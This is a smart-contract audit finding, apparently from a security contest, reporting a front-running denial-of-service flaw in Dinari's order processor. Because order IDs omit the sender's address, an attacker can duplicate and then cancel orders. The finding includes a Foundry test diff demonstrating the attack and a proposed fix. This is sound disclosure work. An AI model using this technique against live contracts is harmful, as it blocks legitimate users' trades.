dirk_y

high

# Malicious user can perform DOS attack by frontrunning to block all order requests

## Summary
When requesting an order, there is check to see whether or not an order already exists based on the order hash. Based on how the order hash is generated, a malicious user can frontrun any order requests from other users to cause the legitimate orders to fail. The malicious user can do this at no cost (besides gas) since they can immediately cancel the order before it is fulfilled. This is effectively a DOS attack on Dinari.

## Vulnerability Detail
Both buy and sell orders are requested by calling `requestOrder`. The order id for the given order is constructed from the `OrderRequest` object and the provided salt by calling `getOrderIdFromOrderRequest`:

```solidity
function getOrderIdFromOrderRequest(OrderRequest memory orderRequest, bytes32 salt) public pure returns (bytes32) {
        return keccak256(
            abi.encode(
                ORDERREQUEST_TYPE_HASH,
                salt,
                orderRequest.recipient,
                orderRequest.assetToken,
                orderRequest.paymentToken,
                orderRequest.quantityIn
            )
        );
    }
```

The interesting point here is that the order id hash construction doesn't include the address of the message sender. As a result, multiple users could create the same order hash. In most cases this wouldn't happen because a normal user would not want to specify the recipient of an order request as another address that they do not own. However, because an order can be cancelled before it is filled, a malicious user can block an order from another user by requesting the same order first (thereby preventing the real order from being requested) and immediately cancel the order to prevent being charged for it. The malicious user can do this perpetually to prevent any legitimate orders from being requested, effectively rendering Dinari useless.

Below is a change to the existing test suite that demonstrates this vulnerability. It can be executed with `forge test -vvv --match-path test/BuyOrderIssuer.t.sol`:

```diff
diff --git a/sbt-contracts/test/BuyOrderIssuer.t.sol b/sbt-contracts/test/BuyOrderIssuer.t.sol
index f66a322..c9180f8 100644
--- a/sbt-contracts/test/BuyOrderIssuer.t.sol
+++ b/sbt-contracts/test/BuyOrderIssuer.t.sol
@@ -180,6 +180,74 @@ contract BuyOrderIssuerTest is Test {
         assertEq(issuer.ordersPaused(), pause);
     }
 
+    function testDOS() public {
+        // Create a new malicious user
+        uint256 user2PrivateKey = 0x01;
+        address user2 = vm.addr(user2PrivateKey);
+
+        // Setup order quantity
+        (uint256 baseFee, ) = issuer.getFeesForOrder(address(paymentToken), 0);
+        uint256 quantityIn = baseFee * 20; // Create an arbitrary input of 20x flat fee
+
+        OrderProcessor.OrderRequest memory order = OrderProcessor.OrderRequest({
+            recipient: user,
+            assetToken: address(token),
+            paymentToken: address(paymentToken),
+            quantityIn: quantityIn,
+            price: 0
+        });
+        bytes32 orderId = issuer.getOrderIdFromOrderRequest(order, salt);
+
+        (uint256 flatFee, uint256 percentageFee) = issuer.getFeesForOrder(order.paymentToken, order.quantityIn);
+        
+        uint256 fees = flatFee + percentageFee;
+        IOrderBridge.Order memory bridgeOrderData = IOrderBridge.Order({
+            recipient: order.recipient,
+            assetToken: order.assetToken,
+            paymentToken: order.paymentToken,
+            sell: false,
+            orderType: IOrderBridge.OrderType.MARKET,
+            assetTokenQuantity: 0,
+            paymentTokenQuantity: order.quantityIn,
+            price: 0,
+            tif: IOrderBridge.TIF.GTC,
+            fee: fees
+        });
+
+        // Mint payment token for legitimate user and malicious user
+        paymentToken.mint(user, quantityIn);
+        vm.prank(user);
+        paymentToken.increaseAllowance(address(issuer), quantityIn);
+        paymentToken.mint(user2, quantityIn);
+        vm.prank(user2);
+        paymentToken.increaseAllowance(address(issuer), quantityIn);
+
+        uint256 userBalanceBefore = paymentToken.balanceOf(user2);
+
+        // Now user2 frontruns user with the same order. The legitimate order now fails.
+        vm.prank(user2);
+        issuer.requestOrder(order, salt);
+        vm.prank(user);
+        vm.expectRevert(OrderProcessor.DuplicateOrder.selector);
+        issuer.requestOrder(order, salt);
+
+        // The malicious user2 can now cancel the order to avoid paying for the order when it is filled
+        emit CancelRequested(orderId, user);
+        vm.prank(user);
+        issuer.requestCancel(order, salt);
+
+        // The assumption is that orders will be cancelled before they are fulfilled, because otherwise that
+        // defeats the point of the cancellation logic
+        emit OrderCancelled(orderId, user, "");
+        vm.prank(operator);
+        issuer.cancelOrder(order, salt, "");
+
+        uint256 userBalanceAfter = paymentToken.balanceOf(user2);
+
+        // This attack hasn't cost the malicious user anything
+        assertEq(userBalanceBefore, userBalanceAfter);
+    }
+
     function testRequestOrder(uint256 quantityIn) public {
         OrderProcessor.OrderRequest memory order = OrderProcessor.OrderRequest({
             recipient: user,

```

## Impact
A malicious user can block all order requests from legitimate users. This is effectively a DOS attack on Dinari.

## Code Snippet
https://github.com/sherlock-audit/2023-06-dinari/blob/main/sbt-contracts/src/issuer/OrderProcessor.sol#L205-L216
https://github.com/sherlock-audit/2023-06-dinari/blob/main/sbt-contracts/src/issuer/OrderProcessor.sol#L250-L252

## Tool used
Manual Review

## Recommendation
In order to ensure unique order ids, I would suggest the following change:

```diff
diff --git a/sbt-contracts/src/issuer/OrderProcessor.sol b/sbt-contracts/src/issuer/OrderProcessor.sol
index 633385c..2afbbfb 100644
--- a/sbt-contracts/src/issuer/OrderProcessor.sol
+++ b/sbt-contracts/src/issuer/OrderProcessor.sol
@@ -93,7 +93,7 @@ abstract contract OrderProcessor is
 
     /// @dev Used to create EIP-712 compliant hashes as order IDs from order requests and salts
     bytes32 private constant ORDERREQUEST_TYPE_HASH = keccak256(
-        "OrderRequest(bytes32 salt,address recipient,address assetToken,address paymentToken,uint256 quantityIn"
+        "OrderRequest(bytes32 salt,address requester,address recipient,address assetToken,address paymentToken,uint256 quantityIn"
     );
 
     /// @notice Admin role for managing treasury, fees, and paused state
@@ -202,11 +202,12 @@ abstract contract OrderProcessor is
     /// @param orderRequest Order request to get ID for
     /// @param salt Salt used to generate unique order ID
     /// @dev Compliant with EIP-712 for convenient offchain computation
-    function getOrderIdFromOrderRequest(OrderRequest memory orderRequest, bytes32 salt) public pure returns (bytes32) {
+    function getOrderIdFromOrderRequest(OrderRequest memory orderRequest, bytes32 salt, address requester) public pure returns (bytes32) {
         return keccak256(
             abi.encode(
                 ORDERREQUEST_TYPE_HASH,
                 salt,
+                requester,
                 orderRequest.recipient,
                 orderRequest.assetToken,
                 orderRequest.paymentToken,
```

Of course, any calls to `getOrderIdFromOrderRequest` should be updated to provide the proper requester address as an argument, and this variable might also need to be emitted in relevant events to be used by the operator to complete order cancellations etc.